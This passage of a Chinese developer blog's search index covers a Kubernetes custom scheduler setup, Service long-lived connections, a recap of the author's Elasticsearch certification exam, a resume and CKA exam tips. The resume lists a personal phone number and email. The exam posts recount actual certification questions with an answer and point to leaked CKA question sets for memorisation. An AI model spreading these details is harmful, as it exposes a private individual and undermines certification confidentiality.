","date":"2024-07-04","objectID":"/image-search-use-client-model/:4:1","tags":["Engineering"],"title":"以图搜图架构优化:使用客户端模型提取图像特征","uri":"/image-search-use-client-model/"},{"categories":["Kubernetes"],"content":"Kubernetes scheduler 概述及自定义调度器","date":"2024-06-15","objectID":"/k8s-custom-scheduler/","tags":["Kubernetes"],"title":"Kubernetes scheduler 概述及自定义调度器","uri":"/k8s-custom-scheduler/"},{"categories":["Kubernetes"],"content":"kube-scheduler kube-scheduler 是 k8s 集群中控制平面的一个重要组件,其负责的工作简单且专一:给未分配的 pod 分配一个 node 节点。 调度器的大致工作过程可以分为以下几步: 监听到未绑定 node 的 pod。 过滤节点:挑选出来适合分配这个 pod 的 node 节点(可能有多个)。 节点打分:给过滤出来的节点进行打分。 最后选择得分最高的那个 node 与 pod 绑定(如果最高得分有多个 node 则随机选择一个)。 更加详细的步骤则参考下图所示: ","date":"2024-06-15","objectID":"/k8s-custom-scheduler/:1:0","tags":["Kubernetes"],"title":"Kubernetes scheduler 概述及自定义调度器","uri":"/k8s-custom-scheduler/"},{"categories":["Kubernetes"],"content":"扩展点和默认插件 扩展点:调度器内部的工作流程划分为了一系列的步骤,为了满足可扩展性,某些步骤被设计成了扩展点,用户可以自己编码实现接口插入到这些扩展点,从而实现自定义调度器。 默认插件:Kubernetes 已经定义好了很多默认插件,这些插件实现了一个或者多个扩展点,默认调度器就是由这些默认插件组合而成。 如上图所示,蓝色部分是扩展点,绿色部分是默认插件。 扩展点是按照顺序依次执行的,每个插件可以作用于一个或者多个扩展点。 调度通过以下扩展点的一系列阶段进行: queueSort: 这些插件提供排序功能,用于对调度队列中的待处理 Pod 进行排序。每次只能启用一个队列排序插件。 preFilter: 这些插件用于在过滤之前预处理或检查有关 Pod 或集群的信息。它们可以将 Pod 标记为不可调度。 filter: 这些插件相当于调度策略中的谓词,用于过滤无法运行 Pod 的节点。过滤插件按配置的顺序调用。如果没有节点通过所有过滤器,Pod 将被标记为不可调度。 postFilter: 当没有找到可行节点来调度 Pod 时,这些插件按配置顺序被调用。如果任何 postFilter 插件将 Pod 标记为可调度,则不会调用剩余插件。 preScore: 这是一个信息性扩展点,可用于在评分之前进行工作。 score: 这些插件为通过过滤阶段的每个节点提供一个分数,然后调度器会选择得分总和最高的节点。 reserve: 这是一个信息性扩展点,通知插件何时为特定 Pod 保留了资源。插件还实现一个 Unreserve 调用,如果在保留期间或之后发生失败,将调用该函数。 permit: 这些插件可以阻止或延迟 Pod 的绑定。 preBind: 这些插件执行 Pod 绑定前所需的任何工作。 bind: 这些插件将 Pod 绑定到节点。绑定插件按顺序调用,一旦其中一个完成绑定,剩余插件将被跳过。至少需要一个绑定插件。 postBind: 这是一个信息性扩展点,在 Pod 绑定后调用。 默认插件非常多,不过你看它的名字就知道它们干了啥,本文不多赘述。 ","date":"2024-06-15","objectID":"/k8s-custom-scheduler/:1:1","tags":["Kubernetes"],"title":"Kubernetes scheduler 概述及自定义调度器","uri":"/k8s-custom-scheduler/"},{"categories":["Kubernetes"],"content":"自定义调度器 根据是否编写代码,我把自定义调度器的方式分为了两种: 不写代码,调整组合已有的默认插件,从而定义新的调度器。 实现接口代码,然后定义调度器。 本文将会描述第一种方式,通过调整默认插件的方式快速定义一个新的调度器。 ","date":"2024-06-15","objectID":"/k8s-custom-scheduler/:2:0","tags":["Kubernetes"],"title":"Kubernetes scheduler 概述及自定义调度器","uri":"/k8s-custom-scheduler/"},{"categories":["Kubernetes"],"content":"自定义调度器示例 默认插件 NodeResourcesFit 有三种评分策略:LeastAllocated(默认)、MostAllocated 和 RequestedToCapacityRatio,这三种策略的目的分别是优先选择资源使用率最低的节点、优先选择资源使用率较高的节点从而最大化节点资源使用率、以及平衡节点的资源使用率。 默认插件 VolumeBinding 绑定卷的默认超时时间是 600 秒。 示例中,我将自定义一个调度器,将 NodeResourcesFit 的评分策略配置为 MostAllocated,VolumeBinding 的超时时间配置为 60 秒。 配置 KubeSchedulerConfiguration 首先,通过 KubeSchedulerConfiguration 对象自定义了一个调度器,叫做 my-custom-scheduler: apiVersion: kubescheduler.config.k8s.io/v1 kind: KubeSchedulerConfiguration profiles: - schedulerName: my-custom-scheduler # 调度器名称 plugins: score: enabled: - name: NodeResourcesFit weight: 1 pluginConfig: - name: NodeResourcesFit args: scoringStrategy: type: MostAllocated resources: - name: cpu weight: 1 - name: memory weight: 1 - name: VolumeBinding args: bindTimeoutSeconds: 60 由于 KubeSchedulerConfiguration 对象本质上是 kube-scheduler 的配置文件,为了后续部署的时候方便使用,可以通过定义一个 ConfigMap 包含 KubeSchedulerConfiguration 的内容: apiVersion: v1 kind: ConfigMap metadata: name: my-scheduler-config namespace: kube-system data: my-scheduler-config.yaml: | apiVersion: kubescheduler.config.k8s.io/v1 kind: KubeSchedulerConfiguration profiles: - schedulerName: my-custom-scheduler # 调度器名称 plugins: score: enabled: - name: NodeResourcesFit weight: 1 pluginConfig: - name: NodeResourcesFit args: scoringStrategy: type: MostAllocated resources: - name: cpu weight: 1 - name: memory weight: 1 - name: VolumeBinding args: bindTimeoutSeconds: 60 部署 Deployment 应用 kube-scheduler 然后,我们需要部署 kube-scheduler 应用我们自定义的调度器,为此可以定义一个 Deployment: apiVersion: apps/v1 kind: Deployment metadata: name: my-custom-kube-scheduler namespace: kube-system spec: replicas: 1 selector: matchLabels: component: my-custom-kube-scheduler template: metadata: labels: component: my-custom-kube-scheduler spec: # serviceAccountName 注意需要配置权限 containers: - command: - kube-scheduler - --leader-elect=false - --config=/etc/kubernetes/my-scheduler-config.yaml - -v=5 image: registry.k8s.io/kube-scheduler:v1.30.0 name: kube-scheduler volumeMounts: - name: my-scheduler-config mountPath: /etc/kubernetes/my-scheduler-config.yaml subPath: my-scheduler-config.yaml volumes: - name: my-scheduler-config configMap: name: my-scheduler-config 注意:这里我们直接使用了 kube-scheduler 官方镜像,只是传递了不同的配置文件而已。 到这里你一定会问:自己部署的自定义调度器与已经存在的默认调度器会有冲突吗?只要 schedulerName 不同就不会有冲突,两个调度器各跑各的。通过自己部署的方式也避免了对默认调度器的任何干预。 至此,简单的两步就实现了自定义调度器。 验证 我们通过部署两个 pod ,分别使用默认调度器 default-scheduler 和我们的自定义调度器 my-custom-scheduler : apiVersion: v1 kind: Pod metadata: name: nginx-default spec: # schedulerName 默认就是使用 default-scheduler containers: - image: nginx name: nginx --- apiVersion: v1 kind: Pod metadata: name: nginx-custom spec: schedulerName: my-custom-scheduler containers: - image: nginx name: nginx 然后观察自定义调度器的日志: 从图中可以看到,自定义调度器工作正常,顺利完成了 pod 的调度,且与默认调度器互不影响。 参考资料: https://kubernetes.io/docs/concepts/scheduling-eviction/scheduling-framework/ https://kubernetes.io/docs/reference/scheduling/config/ https://kubernetes.io/docs/reference/config-api/kube-scheduler-config.v1/ https://arthurchiao.art/blog/k8s-scheduling-plugins-zh/ ","date":"2024-06-15","objectID":"/k8s-custom-scheduler/:2:1","tags":["Kubernetes"],"title":"Kubernetes scheduler 概述及自定义调度器","uri":"/k8s-custom-scheduler/"},{"categories":["Kubernetes"],"content":"Kubernetes Service 与 long-lived connections","date":"2024-06-12","objectID":"/k8s-service-long-lived-connection/","tags":["Kubernetes"],"title":"Kubernetes Service 与 long-lived connections","uri":"/k8s-service-long-lived-connection/"},{"categories":["Kubernetes"],"content":"本文将会介绍: 从 pod 到 service 再到 pod,kubernetes 中的流量是怎么走的? 对于 long-lived connection 长连接又是怎样的情况? ","date":"2024-06-12","objectID":"/k8s-service-long-lived-connection/:0:0","tags":["Kubernetes"],"title":"Kubernetes Service 与 long-lived connections","uri":"/k8s-service-long-lived-connection/"},{"categories":["Kubernetes"],"content":"从 pod 到 service 再到 pod 如上图所示: 1、我们先创建一个多副本的 deployment,k8s 会通过 CNI(容器网络接口)给每个 pod 分配一个集群内可达的 IP 地址。 2、我们随后创建一个类型为 clusterIP 的 service,指向 deployment(即其所属的所有 pod ),此时 service 会被赋予一个 virtual IP(虚拟 IP 地址)。 然后,我们从另外的 pod 发起请求,请求地址是这个 service 的虚拟 IP 或者 coreDNS 的内部域名(随后也会转换成 IP)。service 会随机将请求转发到一个后端 pod,至此 pod 到 pod 的连接就建立完成了。 但是,流量真的是 service 转发的吗?显然并不是。service 只是一个配置项而已,并不负责转发流量的具体工作。 每个 node 节点上有一个重要的组件 kube-proxy,它会监听所有 service,然后配置 iptables(默认) 或者 ipvs(此处配置项详见 kube-proxy 的 --proxy-mode),由 iptables/ipvs 完成真正的流量转发。 ","date":"2024-06-12","objectID":"/k8s-service-long-lived-connection/:1:0","tags":["Kubernetes"],"title":"Kubernetes Service 与 long-lived connections","uri":"/k8s-service-long-lived-connection/"},{"categories":["Kubernetes"],"content":"iptables 和 long-lived connections iptables 是 Linux 系统中一个用于配置和管理网络规则的工具,用于对网络数据包进行过滤、转发、修改等操作,可以实现防火墙、网络地址转换(NAT)、负载均衡等功能。k8s 拿它来进行 L4 的 TCP/UDP 转发。 iptables 本身是支持 random(基于概率的随机转发)和 nth(round robin 轮询)两种转发策略的,但是 k8s 固定使用了 random 随机转发且无法配置。 对于 long-lived connections(例如 HTTP/1.1 keep-alive、HTTP/2、gRPC、WebSocket)呢? 这里必须说明,iptables 进行随机的包转发,这句话容易产生误解。更准确一点应该是,iptables 只会在 TCP 连接刚开始创建的时候随机选择一个目标 pod,此后通过内核的 connection tracking 机制跟踪和记录每个连接的状态,进而让已经建立了 TCP 连接的双方一直使用这条连接。 所以 long-lived connections 在 k8s 里是支持的。 但是,会存在负载不均衡的情况,比如 pod A 的长连接请求永远都是打到 pod B 上,而另一个 pod C 长期空闲。 如何解决负载不均衡?常见的方案有两种: 客户端自己做负载均衡,这意味着客户端需要获得 service 背后绑定的 pod IP,然后自己实现负载均衡算法,对客户端来说复杂度更高了。 使用中间层,例如 service mesh 服务网格专门去处理流量。 参考资料: https://learnk8s.io/kubernetes-long-lived-connections https://scalingo.com/blog/iptables https://learnk8s.io/kubernetes-network-packets ","date":"2024-06-12","objectID":"/k8s-service-long-lived-connection/:2:0","tags":["Kubernetes"],"title":"Kubernetes Service 与 long-lived connections","uri":"/k8s-service-long-lived-connection/"},{"categories":["Elasticsearch"],"content":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","date":"2024-03-17","objectID":"/2024-ece/","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"背景说明 大家好,我是凌虚。 我于 2024 年 3 月 14 日参加了 Elastic Certified Engineer(ECE)认证考试,并与 18 日收到了考试通过的邮件。本文将会回顾我的考试过程、考试真题、个人感受。 ","date":"2024-03-17","objectID":"/2024-ece/:1:0","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"ECE 认证 一手资料请一定要阅读官方考试说明文档。 目前考试使用的是 Elasticsearch v8.1 版本。 考试费用 500 美元(涨价过了),需要用支持美元支付的信用卡购买,可以用别人的卡代付。 只有一次考试机会,没有补考,没有官方模拟考和模拟题。 考试内容是 10 个题目,都是实操题,可以使用 Kibana。 ","date":"2024-03-17","objectID":"/2024-ece/:2:0","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"考试大纲 Data Management(数据管理) Define an index that satisfies a given set of requirements(按要求定义 index) Define and use an index template for a given pattern that satisfies a given set of requirements(按要求定义和使用 index template) Define and use a dynamic template that satisfies a given set of requirements(按要求定义和使用 dynamic template) Define an Index Lifecycle Management policy for a time-series index(为时序索引定义 ILM 策略) Define an index template that creates a new data stream(定义一个 index template 让其创建一个新的 data stream) Searching Data(搜索数据) Write and execute a search query for terms and/or phrases in one or more fields of an index(为索引的一个或多个字段中的 terms 和/或 phrases 编写并执行搜索 query) Write and execute a search query that is a Boolean combination of multiple queries and filters(编写并执行一个由多个 query 和 filter 进行 bool 组合而成的查询) Write an asynchronous search(编写异步搜索) Write and execute metric and bucket aggregations(编写并执行 metric 和 bucket 聚合) Write and execute aggregations that contain sub-aggregations(编写并执行包含子聚合的聚合) Write and execute a query that searches across multiple clusters(编写并执行跨集群搜索的查询) Write and execute a search that utilizes a runtime field(编写并执行利用运行时字段的搜索) Developing Search Applications(开发搜索应用) Highlight the search terms in the response of a query(高亮查询响应中的搜索词) Sort the results of a query by a given set of requirements(按要求对搜索结果进行排序) Implement pagination of the results of a search query(实现搜索结果的分页) Define and use index aliases(定义和使用索引别名) Define and use a search template(定义和使用搜索模板) Data Processing(数据处理) Define a mapping that satisfies a given set of requirements(按要求定义 mapping) Define and use a custom analyzer that satisfies a given set of requirements(按要求定义和使用 custom analyzer) Define and use multi-fields with different data types and/or analyzers(定义和使用具有不同数据类型和/或 analyzer 的多字段) Use the Reindex API and Update By Query API to reindex and/or update documents(使用 Reindex API 和 Update By Query API 重建索引和/或更新文档) Define and use an ingest pipeline that satisfies a given set of requirements, including the use of Painless to modify documents(按要求定义和使用 ingest pipeline,包括使用 Painless 修改文档) Define runtime fields to retries custom values using Painless scripting(使用 Painless 脚本定义运行时字段以检索自定义值) Cluster Management(集群管理) Diagnose shard issues and repair a cluster's health(诊断分片问题并修复集群健康) Backup and restore a cluster and/or specific indices(备份和恢复集群和/或特定索引) Configure a snapshot to be searchable(将快照配置为可搜索) Configure a cluster for cross-cluster search(配置集群以进行跨集群搜索) Implement cross-cluster replication(实现跨集群复制) 考试内容完完全全就是按照考试大纲里的考点来的,但是每个题目都会涉及到多个考点。 ","date":"2024-03-17","objectID":"/2024-ece/:2:1","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"考试真题 以下是我这次考试的题目。 ","date":"2024-03-17","objectID":"/2024-ece/:3:0","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"1. data stream + index template + ilm 按要求创建一个 ilm policy ,数据索引后 5 分钟内在 hot 节点,之后翻滚至 warm 节点,3分钟后转换到 cold 节点,翻滚之后 6 分钟删除。 然后创建一个 data stream 的 index template : 按要求设置 index_patterns 关联上面的 ilm policy (我第一遍复制粘贴官方文档的代码然后忘了改 settings 里的 index.lifecycle.name ) 由于题目要求数据要先到 hot 节点上,所以按照我的理解 settings 中还应该加 “index.routing.allocation.include._tier_preference”: “data_hot” 最后复制粘贴题目给的请求写入一个文档,从而把这个 data stream 创建出来。 ","date":"2024-03-17","objectID":"/2024-ece/:3:1","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"2. reindex + custom analyzer 给了某个 index 和搜索请求,用 the 去搜索 title 字段的时候会匹配很多文档,要求 reindex 为另外的 index(一般名称都是要求你使用 task2 这种跟题目编号一致的命名方式),然后在新的索引上用 the 搜索不到任务文档。需要注意的是他明确要求你保留原索引的数据结构和类型(也就是要先查原索引的 mappings 并复制粘贴过来),然后在 mappings 中的 title 字段中定义 analyzer 去处理这个 the(这道题 tokenizer 用 standard ,character filter 用 stop 就可以了)。 ","date":"2024-03-17","objectID":"/2024-ece/:3:2","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"3. upadte_by_query + ingest pipeline 要求给某个索引增加一个新的字段,新字段是已有四个字段的值拼接而成,注意拼接的时候字段之间加空格(题目给的正确文档示例是有加空格的)。 看到 update 这种操作建议先 reindex 一下原索引然后测试一下,免得原索引改错了找不回来。 ","date":"2024-03-17","objectID":"/2024-ece/:3:3","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"4. runtime field + aggregations 定义一个 runtime field ,值是已有两个字段的值相减,然后在这个 field 上面做 range aggregation 。 ","date":"2024-03-17","objectID":"/2024-ece/:3:4","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"5. multi-match 要求搜索三个字段,其中一个字段权重乘2,最终得分为每个字段得分相加(也就是设置 type 为 most_fields)。 ","date":"2024-03-17","objectID":"/2024-ece/:3:5","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"6. cross-cluster search 跨集群搜索 题目明确告诉你不需要配置 remote cluster,环境已经配好了,只要写一个跨集群的 query 就行了,query 的内容也很简单,里面会有一个 sort 排序。 ","date":"2024-03-17","objectID":"/2024-ece/:3:6","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"7. aggregations 结果填空,不是填搜索请求。 要求找出来平均飞行里程最大的 airline 航班。 其实就是先按照 airline 航班做一遍 terms 分桶(bucket aggregation),然后在每个 bucket 里再用 avg(metrics aggregation)做一个子聚合求值,最后用 pipeline aggregation 里的 max bucket 取出来 avg 最大的这个 bucket。最后的答案是 AS 。 ","date":"2024-03-17","objectID":"/2024-ece/:3:7","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"8. snapshot 要求先注册一个 shared file system repository 类型的 repository(用 Kibana 操作就行了),然后创建一个 snapshot (要求只包含特定的某个 index),去 rest API 文档下面看一下 snapshot API 就行了。 ","date":"2024-03-17","objectID":"/2024-ece/:3:8","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"9. search template + highlight + sort 自己创建一个 search template(只需要单个 params 参数),要求查询里有 highlight 和 sort ,查询条件很简单,最后要求在 movie_data 这个索引上使用这个 search template 进行查询。题目只要求粘贴最后使用 search template 进行实际查询的请求(但是 search template 需要你先创建好)。 ","date":"2024-03-17","objectID":"/2024-ece/:3:9","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"10. async search + aggregations 写一个异步搜索,针对航班数据索引进行聚合,填完整的请求。内容是查询每周的某个 metrics 指标(具体是啥我忘了,反正就是先做 date_histogram 然后再做 metrics),题目有另外要求 size 为 0 。 最后,你会发现我考试的这十道题除了集群管理里有几个考点没考,其余大纲里所有考点基本都覆盖到了。 ","date":"2024-03-17","objectID":"/2024-ece/:3:10","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"我踩的坑 考前 15 分钟之内才能开始考试,太早了没用(我考 CKA 的时候提前半个小时就进了,但是 ECE 不行)。 一定要用大屏考试,不然考试体验会很痛苦(这是我之前考 CKA 的体会)。 我是笔记本电脑外接了显示器和摄像头,但是外接的摄像头看不清护照上的名字(考试结束后问了卖家才知道买的摄像头是定焦的,大家一定要买变焦的),然后我跟当时的印度监考官折腾了好久,她中间也是离开了一会儿,估计是咨询同事这种情况要怎么办,后来她让我把手机拿过来拍个照再放大了给摄像头看(其实还是有点不清晰,但是监考官没找我茬,让我继续考试了)。 复制键键位冲突。MacBook 都是 option+c,考试环境说是 ctrl + c ,但是我用 ctrl + c 在考试环境里却是唤起浏览器的调试栏,最后没办法只能用鼠标右击复制,这点会影响答题速度但不致命。 考试环境并不是很流畅,有时候会卡一下,这个其实影响也没有很大,保持一个好心态。我最后整个考试只花费了一个小时二十分钟,官方给的三个小时的考试时间是绰绰有余的。 ","date":"2024-03-17","objectID":"/2024-ece/:3:11","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"个人感受 我最开始在备考的时候想的很简单,找几套真题做做就行了,但是后来发现行不通。一方面,考试涉及到的部分内容是 7.x 版本新增的特性,而我由于换公司的原因这几年基本没玩 ES 了,且我之前玩的 ES 还是 6.x 版本,也就是说其实我需要重新学一遍。另一方面,网上基本找不到 8.1 的考试真题,考试相关的资源被几个大佬搞成了付费增值服务的一部分,说到底还是 ES 的圈子太小了,没啥办法。 最后,考试难不难?一点都不难,做题的整个流程基本就是:1、理解题目内容,提炼考点;2、找到考点对应的官方文档,复制粘贴文档里的代码;3、按题目要求修改代码最后提交(某些步骤可以直接用 Kibana 可视化操作,代码都不用敲)。只要你理解了每个考点,能快速找到每个考点的文档位置,你一定能过。 ","date":"2024-03-17","objectID":"/2024-ece/:4:0","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"总结 这种实操类的 IT 考试其实都不难,就是考察的基本功,像我这种几年不玩 ES 的复习两周也能过,大家不要害怕,对自己要有信心。 ","date":"2024-03-17","objectID":"/2024-ece/:5:0","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":[],"content":"王颖 性别 学历 出生年份 联系电话 邮箱 男 本科 1993年 18772964832 rifewang@gmail.com 本人拥有多年研发和架构经验。主导过的互联网 SaaS 项目处理日均千万级 PV 流量、管理数十亿图片。 负责研发的脑科学及医疗器械项目服务于几十家头部医院、科研机构和诊所。 具备丰富的技术广度,涵盖 后端、云原生、大数据 等多项技术领域,拥有 系统架构设计师、Kubernetes、ElasticSearch 等官方技术认证。 职场表现卓越,曾获:年度优秀个人、年度创新团队 等荣誉。 坚持健身、学习、写作 8 年,公众号:系统架构师Go,技术社区 Segmentfault 2022、2023 年度 Maintainer。 ","date":"2024-03-17","objectID":"/resume/resume/:1:0","tags":[],"title":"个人简历","uri":"/resume/resume/"},{"categories":[],"content":"工作经历 优脑银河(浙江)科技有限公司 2021.07 ~ 2023.12 前沿脑科学项目( https://app.neuralgalaxy.cn/ ) 项目概述:针对自闭症、抑郁症、失语、运动障碍等多种脑疾病提供科研与诊疗平台,为医疗和科研机构提供患者管理、个体精准脑图谱绘制、影像数据管理、任务编排和离线在线计算、智能诊疗等服务。 项目成绩:从零到一的定制化产品成功交付某部战区总医院;科研云平台支撑了多次大规模临床试验及日常科研;疗法云软件投入商业化运作并持续迭代。 个人职责: 后端 Team Leader,推进 Scrum 敏捷开发,安排团队成员的工作内容,组织产品的上线发版。 日常编码,实现业务需求,包括但不限于接口设计、数据建模、缓存与消息队列等中间件集成。 系统优化,深入整体架构、业务流、数据流、各组件等多角度优化系统性能。 架构设计和迭代,包含技术选型、制定架构演进方案、组织技术评审、追踪并确保技术落地。 关注团队成员的发展,结合公司发展方向组织对团队成员的技术培训。 实施 DevOps 和云原生理念,负责 Kubernetes 云原生基础设施、Argo-workflows 任务编排调度引擎,及其它云原生周边工具。 杭州又拍云科技有限公司 2018.04 ~ 2021.04 又拍图片管家( https://x.yupoo.com ) 项目概述:互联网 SaaS Web 应用,为社区和商家用户提供图片视频的管理、CDN 外链加速、个性化主页展示、站内搜索、统计分析等功能。 项目成绩:在职期间注册用户数增长 6 倍,管理图片资源数量增长 5 倍,获得年度创新团队。 个人职责: 负责 Web 主站的架构迭代和后端研发工作,处理每日几万级 PV 访问、管理十亿级图片资源。 确保系统应对高并发等挑战,保障系统的高可用和高性能。 日常编码,负责 REST API 设计实现、MySQL 数据建模、Redis 缓存、MQ 集成、系统优化。 推动系统向微服务的演进,利用消息队列 NSQ / Kafka 解耦服务。 基于 ElasticSearch 重构全文搜索服务与日志分析系统。 以图搜图系统 项目概述:提供相似性图像内容的快速搜索功能。 个人职责:从零探索,并完成整个系统从无到有、从有到优的建设,独立构建了以卷积神经网络和向量搜索为核心的系统,支撑了十亿级别的图像内容搜索。此项目被广泛参考,并成为业界标杆:《又拍图片管家亿级图像之搜图系统的两代演进及底层原理》。 大数据处理系统 项目概述:对 Web 主站访问数据(千万PV/日)、用户图片 CDN 流量(PB/日)日志进行采集处理和统计分析。 个人职责:对于 Web 主站访问数据,实现了 kong-\u003ekafka-\u003elogstash-\u003eelasticsarch 的 ETL 过程,支撑了内部运营决策等统计分析的需求。对于用户图片 CDN 流量日志,将 Hadoop 离线计算替换为了以 ClickHouse 为核心的 OLAP 系统,完成了实时流量计费,并为终端用户提供了数据分析的能力。 财游(上海)信息技术有限公司 2017.04 ~ 2018.04 项目:财宝理财(互联网金融 P2P 项目)。 个人职责:从零将产品打造上线,负责全栈开发、系统架构、基础设施等工作。获得年度优秀个人。 武汉东浦信息技术有限公司 2016.06 ~ 2017.04 项目:汽车保养预约服务。 个人职责:从零构建项目,负责全栈开发,成为公司模板项目。 ","date":"2024-03-17","objectID":"/resume/resume/:2:0","tags":[],"title":"个人简历","uri":"/resume/resume/"},{"categories":[],"content":"专业技能 8 年开发 5 年架构,较强的架构和编码能力,对高并发、高可用、高性能、分布式、微服务有深入理解和实践。 具备技术团队管理经验,拥有 Scrum 敏捷开发、DevOps、云原生等实践经验。 擅长 Node.js、Golang,也能写 Python。语言只是工具,我的核心竞争力是解决实际问题的能力。 熟悉 MySQL、Redis、MQ、Elasticsearch 等常用组件原理,具备全文搜索和日志聚合分析经验。 熟悉 Kafka、ClickHouse、ELK 体系,拥有数据仓库和大数据领域项目经验。 熟悉 Linux,理解 Docker、Kubernetes、Argo 架构及原理,Kubernetes 文档贡献者,熟悉云原生周边工具。 熟悉计算机视觉、Milvus 等向量搜索。理解 AI 基本原理,日常深度使用 AI 以提升效率。 ","date":"2024-03-17","objectID":"/resume/resume/:3:0","tags":[],"title":"个人简历","uri":"/resume/resume/"},{"categories":[],"content":"致谢 感谢您阅读我的简历,期望未来能与您一起共事,谢谢~ ","date":"2024-03-17","objectID":"/resume/resume/:4:0","tags":[],"title":"个人简历","uri":"/resume/resume/"},{"categories":["Kubernetes"],"content":"我的 2024 年 CKA 认证两天速通攻略","date":"2024-01-27","objectID":"/2024-cka-cert/","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Kubernetes"],"content":"背景说明 如上图所示,本人于 2024 年 1 月 22 号晚上 11 点进行了 CKA 的认证考试,并以 95 分(满分100)顺利通过拿证。本文将会介绍我的 CKA 考试心得和速通攻略。 ","date":"2024-01-27","objectID":"/2024-cka-cert/:1:0","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Kubernetes"],"content":"CKA 认证 官方介绍: CKA( Certified Kubernetes Administrator) 认证考试可确保 Kubernetes 管理人员在从业时具备应有的技能、知识和能力。 已获得认证的 K8s 管理员具备了进行基本安装以及配置和管理生产级 Kubernetes 集群的能力。他们将了解 Kubernetes 网络、存储、安全、维护、日志记录和监控、应用生命周期、故障排除、API对象原语等关键概念,并能够为最终用户建立基本的用例。 ","date":"2024-01-27","objectID":"/2024-cka-cert/:2:0","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Kubernetes"],"content":"CKA 考试大纲 参考官方考试大纲: 大纲看着很唬人,但其实考试题目非常简单,不要被吓到。 ","date":"2024-01-27","objectID":"/2024-cka-cert/:2:1","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Kubernetes"],"content":"CKA 准备和攻略 如果你平时就接触 k8s 或者对几个核心的资源对象有基本的了解这就足够了。如果你完全什么都不懂,那也没关系,直接刷考试真题然后死记硬背也能考过,因为考试真的很简单。 考试时最好提前半个小时进入,点击考试之后会先下载一个叫 PSI 的独立软件(注意考试已经不是浏览器环境了,是独立的 APP 环境),PSI 会检查你的电脑,还会有一些权限要求,比如开启摄像头录像,以及只能有一个显示器,我用笔记本电脑外接了一台显示器结果检测不通过,由于需要摄像头,所以我笔记本电脑的屏幕没法关闭,又没有准备独立的外接摄像头,因此会检测到两台显示器然后无法进入考试,所以最后我只能放弃外接显示器直接用笔记本电脑进行考试(由于我的笔记本电脑屏幕只有13英寸,结果考试体验不太好,非常影响翻文档的效率,因此我建议你还是准备个 15 英寸以上的大屏幕)。 至于攻略,你只需要做以下两件事: 去 https://killercoda.com/sachin/course/CKA 刷题,玩 k8s 的一定要收藏这个网站,各种模拟环境让你不用在自己电脑或者服务器上安装 k8s 就能玩。 刷考试真题(几乎没变过,总是那 17 道题)。 至于购买了考试资格之后的模拟考试,其实参考意义不大,我的建议很直接,不用做模拟考(既然是速通就不要在跟考试相关性不高的地方浪费时间)。 ","date":"2024-01-27","objectID":"/2024-cka-cert/:2:2","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Kubernetes"],"content":"CKA 2024 年考试真题 我本来想把每道题都写出来的,结果发现这 17 道题几年了就几乎没变过,而且已经有人写过了真题和解答,所以这里我直接把参考的文档列出来(跟我考试时做的题简直一摸一样): https://www.cnblogs.com/even160941/p/17710997.html https://zhuanlan.zhihu.com/p/675819358 https://blog.csdn.net/u014481728/article/details/133421594 想要速通就训练这些真题就够了。 ","date":"2024-01-27","objectID":"/2024-cka-cert/:2:3","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Kubernetes"],"content":"总结 就考试而言,CKA 真的非常简单,如果你平时就接触 